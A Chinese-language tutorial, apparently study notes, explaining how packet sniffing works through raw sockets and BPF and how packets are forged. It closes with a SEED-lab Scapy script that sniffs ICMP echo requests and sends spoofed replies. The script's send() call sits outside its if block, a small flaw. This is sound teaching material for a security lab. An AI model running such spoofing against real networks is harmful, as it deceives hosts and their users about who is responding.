嗅探与伪造原理

嗅探

程序接收数据包的过程：

1.数据包在传播介质中流动时，网络中的每个网卡都能收到所有的数据帧，这些数据帧会被复制到网卡的内存中，然后检查目的MAC地址，是否为自己的MAC地址，是，则会通过直接存储器（DMA）的方式被复制到操作系统内核的缓存中，否则拒绝接收。然后网卡会以中断的方式告诉CPU，接收到了新数据，CPU会将这些数据从缓存复制到一个队列中（链路层驱动），为新数据的到来腾出空间。

2.然后通过协议栈，检查网络层头部，目的IP地址，目的IP地址不是自己的IP，会进行丢弃，在检查传输层的目的端口，交给相应的程序。会依次去掉各层的头部，交给程序的是数据部分。

如下图：

Q: Sniffer程序位于用户空间部分，想观察到完整的（包含首部信息）、未经处理的、没有进行丢弃的数据包，怎么办？

A： OS内核 为嗅探程序 提供了 一个Raw Socket API ，当数据包到达链路层驱动位置，会进行复制，通过raw socket 交给嗅探程序，如果有多个嗅探程序，会复制多份，分别交付。如下图：

Sniffer程序并不需要获得所有的报文，可能只需要获得其中的一小部分报文，比如UDP报文，这里就需要进行过滤，UNIX系统添加了一个BSD 数据包过滤器（BSD packet filter，BPF），如下图：

Q：为什么不在Sniffer程序处过滤，而在OS内核里面进行过滤？

A： 可以节省资源，在数据包复制之前进行过滤，之后进行复制的数据包相应大大减少。

注意：Sniffer程序，嗅探的是收包的过程。（站在攻击者的角度）

伪造

正常的应用程序 仅仅向OS 内核提供数据，目的IP地址，目的端口等信息，其他构造数据包的过程都交给OS内核去完成，而不能随意的去构造各个包头。与嗅探一样，这列也可用raw socket API，进行数据包的构造，然后交给下层，发送出去。如下图：

注意：该图是简化的图，大体理解一下过程，没有具体提及OS内核中的链路层操作。

另外，进行伪造，一般是发包的过程。（站在攻击者的角度）

SEED Sniff and Spoof lab：

from scapy.all import *

def spoof_pkt(pkt):
    if ICMP in pkt and pkt[ICMP].type==8:
        print("Original Packet...")
        print("Source IP:",pkt[IP].src)
        print("Destination IP:",pkt[IP].dst)

        ip = IP(src=pkt[IP].dst,dst=pkt[IP].src,ihl=pkt[IP].ihl)
        ip.ttl = 99
        icmp = ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)
    
        if pkt.haslayer(Raw):
                data = pkt[Raw].load
                newpkt = ip/icmp/data
        else:
                newpkt = ip/icmp
    
        print("Spoof Packet...")
        print("Source IP: ",newpkt[IP].src)
        print("Destination IP:",newpkt[IP].dst)
    
    send(newpkt,verbose=0)

pkt=sniff(filter='icmp and src host 10.0.2.4',prn = spoof_pkt)

具体实验指导书，可见：https://seedsecuritylabs.org/